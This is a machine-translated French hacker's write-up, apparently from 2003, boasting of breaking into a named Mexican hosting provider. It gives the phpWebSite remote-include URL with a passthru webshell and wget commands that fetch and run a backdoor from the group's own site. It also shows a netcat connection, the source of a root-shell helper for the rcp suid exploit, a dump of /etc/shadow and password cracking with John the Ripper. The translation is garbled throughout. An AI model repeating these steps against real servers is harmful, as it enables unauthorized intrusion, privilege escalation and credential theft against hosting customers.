This page has been robot translated, sorry for typos if any. Original content here.

Racine sur le fournisseur d'hébergement


Intro
J'ai décidé de décrire juste ce piratage, car il est arrivé tout récemment (d'ailleurs, à ce stade - le 23 janvier 2003 - le serveur est toujours entre les mains de DHG, pour ainsi dire) aussi le général m'a demandé de décrire un piratage intéressant.
Je ne veux pas que cette histoire soit un outil pour les atrocités d'autres personnes, donc nous admettons délibérément certaines erreurs / inexactitudes (que, cependant, tout utilisateur avancé remarquera). Eh bien, aussi mâcher des choses élémentaires, comme "Linux commandes aussi dans quel endroit pour regarder, comment compiler un solide", nous ne le ferons pas. Alors, allons-y.

Round # 1: à distance.
En général, l'objectif initial était le portail Linux mexicain www. ***. Com, qui était autrefois hébergé par ce fournisseur.
Tout d'abord, il était nécessaire de trouver l'axe sur lequel se trouve ce portail. Bien que, la souche est claire, que le site à propos de Linux ne peut pas se bloquer sur Windows de quelque façon que ce soit. Sur http était: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili! Soft-ASP / 3.6.2 PHP / 4.1.2", la bannière ftp était lue:
managedhosting Serveur FTP (version 6.5 / OpenBSD, port linux 0.3.2) prêt.
Scanner les ports, cgi-bug'i et n'importe quelle absurdité de ce genre, nous ne sommes pas devenus - plus précisément, décidé de reporter pour plus tard. Eh bien, je ne voulais pas non plus couvrir la propriété intellectuelle. Donc, dans la bannière ftp a flashé l'expression "hébergement"! Notant dans ripnet, nous avons décidé d'adresser directement à ip'u, qui avait www. ***. Com. Il m'a emmené sur le site "managedhosting.dialtoneinternet.com.mx", qui, évidemment, était son hôte. Plus tard, un court brutforce'a manuel a été calculé pour l'hébergement du site réel: dialtoneinternet.com.mx (www.dialtone.com).
Sur ce, nous avons décidé d'arrêter pour le moment aussi de retourner au site brisé. Il était sur le moteur PHP "phpWebSite" de version inconnue. Ce clone régulier de php-nuke ne différait en aucune façon avec un accent particulier sur la sécurité. Toutes les versions de PWS jusqu'à 0.8.2 (même avec la marque Stable) avaient une classe de vulnérabilité 'Php source injection'. Ceux à qui rien ne dit rien, voir l'article de r4ShRaY sur cette vulnérabilité. Le reste, lisez la suite. Donc, voici une partie du fichier modsecurity.php:

<? php
global $ inc_prefix;
if (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix. "htmlheader.php");
?>

À mon humble avis, ici tout devrait exister clairement. Exécution de ce script de la même manière:
http: //www.***.com/modsecurity.php? inc_prefix = http: //www.dhgroup.org
Le fichier htmlheader.php, situé sur notre site, sera exécuté avec the_exe_defined_paces. La seule chose qui m'a dérangé, c'est que le site attaqué est patché, ou une version plus récente (après tout, ce n'est pas une sorte de 'page d'accueil de Vasya', mais un portail pour kewl-Linux-userz).
En général, nous avons créé un fichier htmlheader.php sur notre site web qui est le contenu suivant:

<? passthru ("$ cmd")?>

Puis est allé à l'adresse:
modsecurity.php? inc_prefix = http: //www.dhgroup.org&cmd=ls
Sur ce que nous avons reçu la liste de catalogue www. # Note. En outre toutes les commandes que je vais gribouiller sans "...? Inc_prefix = http: // ..."!

Round # 2: local.
> echo hi> kewl.txt; chat kewl.txt
Sur ces deux commandes, le navigateur a répondu avec un écran vide et blanc comme la neige. Cela indiquait que je n'avais pas le droit d'écrire dans le répertoire www. Autrement dit, il est trop tôt pour exprimer la défiguration. Eh bien, avant de prendre d'autres mesures, il était nécessaire de recueillir plus d'informations sur le système. La chose principale que nous avons faite était d'obtenir le fichier httpd.conf:
> cat /etc/httpd/conf/httpd.conf
De là, nous avons déchiré la version du lecteur de news (en passant, l'en-tête http 'Server' était muet sur la présence de FrontPage), aussi la route vers les www-répertoires des sites: dialtoneinternet.com.mx (hébergeur cassé), stormarketing.com, altavistablinds.com, Parigitown.com, bien, aussi à plusieurs grandes ressources:
# -FrontPage- version = 4.0
##
## httpd.conf - Fichier de configuration du serveur HTTP Apache
##
...
<VirtualHost 66.33.62.88>
<Répertoire / home / admin / www / serversecure>
Options Tous
AllowOverride Tous
</ Directory>
ServerName dialtoneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
Journaux ErrorLog / error_log
Journaux TransferLog / transfer_log
Groupe personne
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</ VirtualHost>
...
Bien sûr, afin de les défigurer, il n'y a pas assez de droits, mais ils sont assez pour voir le service phronical.pwd (le cas échéant) de ces sites, avec toutes les conséquences qui en découlent;) Cette opportunité que nous avons laissée dans cette aventure de toute façon, il ne sera pas possible d'augmenter les privilèges.
Ensuite, pour l'intérêt que nous avons introduit:
> netstat -a
Ce que j'ai (# - mes tags):
  Connexions Internet actives (serveurs et établies)
 Adresse locale de Proto Recv-Q Send-Q Adresse étrangère 
 tcp 0 1 66.33.62. *: 2114 by.ru:www LAST_ACK # (1)
 tcp 0 0 66.33.62. *: www 62.141.75.226:3116 ÉTABLI 
 tcp 0 0 *: www *: * ECOUTER 
 tcp 0 0 *: imap2 *: * ECOUTER 
 tcp 0 0 *: pop3 *: * ECOUTER 
 tcp 0 0 *: ftp *: * ECOUTER 
 tcp 0 0 *: 81 *: * ECOUTER 
 tcp 0 0 *: https *: * LISTEN # (2)
 tcp 0 0 managedhosting.d: domaine *: * ECOUTER 
 tcp 0 0 managedhosting2.:domain *: * ECOUTER 
 tcp 0 0 spacebattles.net:domain *: * ECOUTER 
 tcp 0 0 66.33.62. *: domaine *: * ECOUTER 
 tcp 0 0 localhost.locald: domaine *: * ECOUTER 
 tcp 0 0 *: smtp *: * ECOUTER 
 tcp 0 0 *: mysql *: * ECOUTER 
 tcp 0 0 *: casp3001 *: * ECOUTER 
 tcp 0 0 *: casp3000 *: * ECOUTER 
 tcp 0 0 *: casp5105 *: * ECOUTER 
 tcp 0 0 *: casp5103 *: * ECOUTER 
 tcp 0 0 *: casp5104 *: * ECOUTER 
 tcp 0 0 *: 1581 *: * ECOUTER 
 tcp 0 0 *: 1024 *: * ECOUTER 
 tcp 0 0 *: ssh *: * LISTEN # (3)
 UDP 0 0 *: 4320 *: * 
 udp 0 0 managedhosting.d: domaine *: * 
 udp 0 0 managedhosting2.:domaine *: * 
 udp 0 0 spacebattles.net:domaine *: * 
 udp 0 0 66.33.62. *: domaine *: * 
 udp 0 0 localhost.locald: domaine *: * 
 brut 0 0 *: udp *: * 7 
 brut 0 0 *: tcp *: * 7 
 brut 0 0 *: icmp *: * 7 
 brut 0 0 *: tcp *: * 7 
 Sockets de domaine UNIX actifs (serveurs et installés)
 Drapeaux Proto RefCnt Tapez le chemin I-Node de l'état
 unix 0 [ACC] ECOUTE DE FLUX 552166 /home/httpsd/cache/ssl.socket
 unix 0 [ACC] ECOUTE DE FLUX 2087 /tmp/mysql.sock
 unix 4 [] DGRAM 290 / dev / log
 unix 0 [ACC] ECOUTE DE FLUX 549144 / var / run / ndc
 unix 0 [] STREAM 565939 
 unix 0 [] DGRAM 555692 
 unix 0 [] DGRAM 549142 
 unix 0 [] DGRAM 3193 
 unix 0 [] DGRAM 303 
(1) est nous =)
(2) - La présence de SSL exprime généralement l'échange d'informations privées avec le serveur (cc, par exemple). Bien, pour l'hébergement c'est dans l'ordre des choses.
(3) - le voici! Il sera utile plus tard.
Je n'avais pas besoin de scanner les ports :)
Ensuite, il était nécessaire de procéder à certaines actions spécifiques, ou plutôt, de connaître au moins quasiment la version du plafond plus, à partir de là, déjà de danser davantage. Donc, pour ceux qui ne le connaissent pas, certaines distributions Linux (sinon toutes) quittent le fichier "* -release" (où * est le nom de la distribution: mandrake-release, cobalt-release ...) dans / etc / Les administrateurs n'ont aucun moyen de l'éliminer.
> cat / etc / redhat-release:
Red Hat Linux version 6.1 (Cartman)
Obaaaaa, je dois dire, nous ne nous attendions pas :) Tout le reste du bla bla était une question de technologie. Pour atteindre la rue tant attendue, nous avons décidé d'utiliser la vulnérabilité de RedHat dans rcp.

Red Hat 6.2: rcp trou de racine possible
En fait, la vulnérabilité a été trouvée dans le chapeau 6.2. Environ 6.1 dans le poteau d'Andrew Griffiths et de Tlabs n'ont pas dit un mot. Ponadeyavshis chance, nous avons introduit:
> ls -alF `quel rcp
-rwsr-xr-x 1 racine racine 14868 juil 30 1999 / usr / bin / rcp *
Op! Le suid rcp possède la pièce à être! C'est déjà bon :) Je me suis versé "rcpsploit.pl" de tlabs plus, après avoir étudié la source, arrêté. Je vais peut-être vous expliquer comment fonctionne ce solide, peut-être vous aidera-t-il à comprendre l'essence de la vulnérabilité du problème qui est apparu.
Donc, il crée 2 fichiers:
/tmp/shell.c---------------------

#include
#include
int main ()
{
setuid (0);
setgid (0);
execl ("/ bin / sh", "sh", 0);
renvoie 0;
}


hey ------------------------------
Sploit écrit par tlabs, merci à Andrew Griffiths pour le rapport de bug

Ensuite, à travers le suid rcp, la coquille de la shell.c fusionne aussi comme chmod'om agit comme tel blah-blah-suid. C'est aussi tout! L'exécution du shell compilé obtient également un shell avec uid = 0, gid = 0. Mais quelle est l'utilité de ce shell pour nous, si nous exécutons des commandes via un serveur web? : - /
Pour que ce travail solide fonctionne, il était autorisé uniquement sur le shell "normal".
Tu as besoin d'une coquille? Il le fera! Dans mon warez-archive, un long cheval de Troie époussetait il y a longtemps, que nous avons également décidé d'utiliser:
> wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> chmod 755 /.tmp/tmp.pl
> perl /tmp/.tmp.pl
Plus loin sur votre ordinateur:
> nc *** com 51015
Ayant connecté:
> cd / tmp
> wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, trop facile, nous allons juste lancer une coquille, laisse espérer que la merde s'est bien passée :)
> id
uid = 0 (racine) gid = 0 (racine) groupes = 0 (racine), 1 (bin), 2 (daemon), 3 (sys), 4 (adm), 6 (disque), 10 (roue)
C'est aussi tout :) Eh bien aussi le dernier:
> cat / etc / shadow
root: ###: 11961: 0: 99999: 7: -1: -1: 134549964
bin: *: 10925: 0: 99999: 7 :::
daemon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... etc ...
JTR a compté 977 mots de passe%) Pour accélérer le buste, nous avons introduit:
john -i: all -u: l'ombre de la racine
Quelque part 8 heures et ... moment tant attendu:




Ensuite, j'ai versé là-dedans, un peu de datapipe est aussi bnc ... bien que ce soit une histoire complètement différente ....

Ce qui a été utilisé pendant le piratage:
Netscape v.xz
secureCRT 3.1
NetCat
John l'Eventreur
backhole.pl
rcpsploit.pl
Cerveau
PacketStormSecurity

Conclusions / remarques / commentaires:
1. Si un serveur particulier est important en tant que fournisseur d'hébergement ou portail Linux, cela ne signifie pas qu'il est bien protégé.
2. Dans le processus de piratage, vous ne devez pas déclarer votre propre type (cela deviendra plus tard un article).
3. Lors du piratage, presque jamais utilisé, le soi-disant "hacker" logiciel.
4. RH6. * - ne mange pas gud :)

PS IMHO, le lecteur peut avoir l'impression que j'étais juste chanceux aussi le piratage total a pris quelques minutes .. Ce n'est pas le cas. Il y a eu des moments où mes mains sont tombées, et j'ai voulu me battre la tête contre le mur.

Auteur: D4rkGr3y


Le matériel est publié avec la permission de DHGROUP (http://www.dhgroup.org)